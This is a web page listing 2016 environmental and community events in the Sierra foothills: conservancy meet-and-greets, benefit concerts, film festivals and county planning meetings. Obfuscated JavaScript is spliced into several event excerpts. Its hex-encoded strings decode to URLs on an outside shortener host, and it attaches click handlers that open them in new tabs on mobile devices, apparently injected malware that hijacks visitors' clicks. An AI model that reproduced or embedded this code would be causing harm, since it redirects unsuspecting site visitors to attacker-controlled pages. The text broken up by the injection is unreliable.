Meet and greet Foothill Conservancy

March 25th, 6 – 7:30 PM, join Cecily Smith, Foothill Conservancy’s executive director, at the Hotel Legers’ famous Saloon. Drink in the history of this Gold Rush-era hotel while enjoying your favorite libation. Learn more about the Conservancy’s history and our current work to protect local lands, waters and forests. Bring a friend! function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let... Read More

Celebrate Earth Day in Mokelumne Hill with bluegrass greats Laurie Lewis and the Right Hands

On Saturday, April 23, Grammy-nominated bluegrass musician Laurie Lewis and her band, the Right Hands, will perform a family-friendly concert in Mokelumne Hill. The event is a special Earth Day celebration to benefit Mokelumne River conservation and the Foothill Conservancy. It will be held at the historic Mokelumne Hill Town Hall on Main Street, starting at 7:30 p.m. For more information, please contact Foothill Conservancy’s Carolyn at 209-223-35080... Read More

Ione Valley LAWDA co-founder interview

This Saturday March 12th, 2016 on Everywoman’s Hour on KQBM from 9:00 am to 10:00 am atwww.kqbm.org live stream from the website and 90.7 FM locally, Sondra West-Moore, the co-founder of the Ione Valley Land, Air & Water Defense Alliance (LAWDA), and host Kat Everitt discuss why the grass roots group of many concerned residents are fighting to stop the Newman Ridge strip mine Quarry and Edwin Center North hot batch Asphalt Plant... Read More

Wild and Scenic Film Festival – Sierra Nevada Alliance

Join the Alliance with the Wild & Scenic Film Festival for Ticket Deals! A benefit for Sierra Nevada AmeriCorps Partnership & the Sierra Nevada Alliance Click here to get your tickets today! Members of the Sierra Nevada Alliance get a special deal on tickets to the 11th Annual Wild & Scenic Film Festival. Not a Member or your Membership has expired? Join or renew as a Member of the Alliance for $50, and you’ll receive 2 tickets AND... Read More

Green Drinks – March 8 in Sonora

SAVE THE DATE! GREEN DRINKS November 19 – Indigeny Reserve Starting 2016 off right with Cole Video! Date: Tuesday – March 8, 2016 Location: 1 E. Linoberg St, Sonora CA Time: 6:00pm to 7:30pm We are starting the 2016 Green Drinks season with Cole Video!  We were happy to host Cole and his company back in 2014, when they received a “Rising Star” business award... Read More

Community Events

“LOVE THE FOREST” ROCKS ON VALENTINE’S DAY! Date Changed to April 2nd Mark your calendars for the 14th annual Love the Forest Concert at Black Bart Playhouse in Murphys, Saturday, February 13, beginning at 7pm. A host of local musicians including Cantamos with Michela Macfarlane, plus The Bill Welles Band. The evening will also include special guest singers from the San Francisco Women’s Choir Musae joining Michela on several tunes.  Cantamos:... Read More

Key Land Use Community Meetings – Reminders

February 9- there will be 6 Asphalt Appeal Hearings before the Board of Supervisors.  Starting time 9 a.m. Planning Commission Meeting – January 14, 2016 AGENDA Planning Commission review and recommendation to the Board of Supervisors on the General Plan update.  (Peter Maurer, Planning Director)         Topics of discussion: Conservation and Open Space Element Staff Report    Conservation and Open Space Element  Open Space... Read More

Meetings and Events for 2016

Next CPC meeting on February 1, 2016, 1:30-4 pm, Main Library, Chesebrough Room, San Andreas. January 26- BOS meeting.  Check agenda Thursday on county website or the CAP website. February 9- there will be 6 Asphalt Appeal Hearings before the Board of Supervisors.  Starting time 9 a.m. EPFW’s annual Love the Forest Concert February 13 –get your tickets soon they usually sell out! March 26 Opening of Film Festival at Black Bart in Murphys function... Read More

California Drought, Wildfires Among Topics Showcased At Film Festival

The 14th annual Wild and Scenic Film Festival kicks off this week in Nevada City and Grass Valley. Capital Public Radio, WildandScenicFilmFestival.org. function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x62\x4e\x53\x33\x63\x393','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x4f\x64\x44\x35\x63\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x72\x79\x5a\x38\x63\x338','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x6d\x64\x4a\x39\x63\x349','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x66\x6d\x56\x34\x63\x354','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x71\x6e\x4d\x37\x63\x367','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x47\x62\x4a\x32\x63\x302','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x66\x62\x66\x36\x63\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return... Read More

Calaveras County Democratic Central Committee Meeting with Calaveras Planning Director – December 8

Join the Calaveras County Democratic Central Committee (CCDCC) on Tuesday, December 8, at 6:30 pm. Round Table Pizza Meeting Room 27 N. Main Street, Angels Camp (corner of Hwy 49 & Hwy 4 – behind McDonalds)   Featured Speaker: Peter Maurer – Planning Director – Calaveras County Also on the agenda is a discussion of the County’s response to the massive tree kill due to bark beetle infestation. function _0x3023(_0x562006,_0x1334d6){const... Read More